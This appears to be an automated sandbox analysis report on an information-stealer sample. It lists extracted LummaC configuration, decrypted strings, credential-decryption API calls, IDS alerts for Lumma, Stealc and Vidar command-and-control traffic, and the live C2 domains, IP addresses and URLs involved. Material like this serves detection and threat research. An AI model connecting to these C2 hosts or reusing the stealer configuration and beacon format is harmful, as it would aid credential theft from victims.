Source: 26.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["mysterisop.site", "treatynreit.site", "abnomalrkmu.site", "questionsmw.stor", "absorptioniw.site", "chorusarorp.site", "snarlypagowo.site", "soldiefieop.site"], "Build id": "H8NgCl--"}

Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: absorptioniw.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: mysterisop.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: snarlypagowo.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: treatynreit.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: chorusarorp.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: abnomalrkmu.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: soldiefieop.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: questionsmw.stor
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: chorusarorp.site
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 26.2.RegAsm.exe.400000.0.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051C020 SetLastError,GetModuleHandleA,CryptGenRandom,	3_2_0051C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051BD80 GetModuleHandleA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,	3_2_0051BD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0051BF40 CryptReleaseContext,	3_2_0051BF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	7_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	7_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	7_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	7_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C65A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	7_2_6C65A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C654440 PK11_PrivDecrypt,	7_2_6C654440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C624420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	7_2_6C624420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6544C0 PK11_PubEncrypt,	7_2_6C6544C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6A25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	7_2_6C6A25B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C638670 PK11_ExportEncryptedPrivKeyInfo,	7_2_6C638670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C65A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	7_2_6C65A650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C63E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	7_2_6C63E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C67A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	7_2_6C67A730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C680180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	7_2_6C680180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6543B0 PK11_PubEncryptPKCS1,PR_SetError,	7_2_6C6543B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C677C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	7_2_6C677C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C637D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	7_2_6C637D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C67BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	7_2_6C67BD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C679EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	7_2_6C679EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C653FF0 PK11_PrivDecryptPKCS1,	7_2_6C653FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C659840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	7_2_6C659840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C653850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	7_2_6C653850

Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.6:65275 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:65273 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:65273 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.6:65273
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:65273 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.6:65273
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:65273 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.6:65234 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.12.197.9:443 -> 192.168.2.6:65234
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.12.197.9:443 -> 192.168.2.6:65235
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65270 -> 104.21.84.18:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65270 -> 104.21.84.18:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65267 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65267 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65274 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65274 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65265 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65268 -> 104.21.56.150:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65287 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65287 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65268 -> 104.21.56.150:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65265 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65278 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65278 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65272 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65276 -> 172.67.177.186:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65276 -> 172.67.177.186:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65288 -> 104.21.56.150:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65288 -> 104.21.56.150:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65284 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65284 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.12.197.9:443 -> 192.168.2.6:65296
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65293 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65293 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65272 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.12.197.9:443 -> 192.168.2.6:65294
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65298 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65298 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65295 -> 172.67.177.186:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65295 -> 172.67.177.186:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:65291 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:65291 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.12.197.9:443 -> 192.168.2.6:65307
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.12.197.9:443 -> 192.168.2.6:65308

Source: C:\ProgramData\AAAKEBGDAF.exe	ReversingLabs: Detection: 55%
Source: C:\ProgramData\EBKJDBAAKJ.exe	ReversingLabs: Detection: 60%
Source: C:\ProgramData\HDGIJJDGCB.exe	ReversingLabs: Detection: 60%
Source: C:\Users\userBAKKEGCAAE.exe	ReversingLabs: Detection: 60%
Source: C:\Users\userDHCAECGIEB.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc301a31_swws[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc9963ca_ldfsna[1].exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfccd837ac_vadggdsa[1].exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfcc9963ca_ldfsna[1].exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfccd837ac_vadggdsa[1].exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	ReversingLabs: Detection: 60%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]		7_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax		7_2_004014AD

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: mysterisop.site
Source: Malware configuration extractor	URLs: treatynreit.site
Source: Malware configuration extractor	URLs: abnomalrkmu.site
Source: Malware configuration extractor	URLs: questionsmw.stor
Source: Malware configuration extractor	URLs: absorptioniw.site
Source: Malware configuration extractor	URLs: chorusarorp.site
Source: Malware configuration extractor	URLs: snarlypagowo.site
Source: Malware configuration extractor	URLs: soldiefieop.site
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 49.12.197.9 49.12.197.9
Source: Joe Sandbox View	IP Address: 104.21.21.3 104.21.21.3

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api64.ipify.org
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: iplogger.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49725 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65231 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65232 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65237 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65236 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65234 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65235 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65233 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65242 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65239 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65240 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65238 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65243 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65244 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65245 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65246 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65247 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65257 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65255 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65250 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65258 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65261 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65262 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:65263 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65264 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65266 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65269 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65271 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:65279 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:65273 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:65280 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:65281 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65292 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65289 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65296 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65286 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65299 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65294 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65300 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65302 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65301 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65307 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65305 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65310 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65304 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65308 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65309 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65306 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65312 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:65311 -> 49.12.197.9:443

Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
